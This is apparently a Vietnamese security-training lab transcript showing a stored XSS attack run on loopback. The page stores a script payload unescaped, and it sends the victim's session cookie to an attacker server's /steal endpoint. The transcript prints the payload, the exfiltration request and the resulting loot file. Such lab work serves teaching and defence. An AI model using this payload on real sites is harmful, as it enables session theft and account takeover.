# Transcript lab 3.2 - Stored XSS trom cookie
# App co lo hong: 127.0.0.1:8032 | Server ke tan cong: 127.0.0.1:8033
# Chay that, loopback. Ngay: 2026-10-18T10:20:26Z

## exploit.py: attacker dang comment -> nan nhan mo trang -> cookie bay ve attacker

$ python3 exploit.py
======================================================================
[1] KE TAN CONG dang comment chua payload XSS
    payload: <script>new Image().src='http://127.0.0.1:8033/steal?c='+encodeURIComponent(document.cookie)</script>
    POST /comment -> HTTP 200 (redirect ve /)
======================================================================
[2] Kiem tra payload da LUU va render NGUYEN VAN (chua escape)
    payload xuat hien nguyen van tren trang?   : CO
    payload bi escape thanh &lt;script&gt;?     : KHONG
    => STORED XSS xac nhan: moi nguoi mo trang deu dinh.
======================================================================
[3] NAN NHAN dang nhap va mo trang comment
    cookie nan nhan: {'session': 'victim-session-7f3a9c2b1e'}
    nan nhan tai trang, trang chua payload cua ke tan cong.
    [mo phong trinh duyet nan nhan thuc thi <script>]
  [victim] trinh duyet tu dong tai anh: http://127.0.0.1:8033/steal?c=session%3Dvictim-session-7f3a9c2b1e
======================================================================
[4] Kiem chung server ke tan cong da THU DUOC cookie
    noi dung loot.txt:
      [2026-10-18T10:20:27.413946Z] from=127.0.0.1 cookie=session=victim-session-7f3a9c2b1e
======================================================================
TONG KET: THANH CONG - da trom duoc cookie session cua nan nhan

## Log phia server ke tan cong (attacker.py stdout)
[attacker] lang nghe http://127.0.0.1:8033/steal, ghi vao /mnt/d/REVERSE_IDA_DNSPY_JADX_PYCDC/TechWeb/labs/3.2/loot.txt
[attacker] THU DUOC: [2026-10-18T10:20:27.413946Z] from=127.0.0.1 cookie=session=victim-session-7f3a9c2b1e

## File loot.txt (cookie thu duoc, luu tren dia)
[2026-10-18T10:20:27.413946Z] from=127.0.0.1 cookie=session=victim-session-7f3a9c2b1e
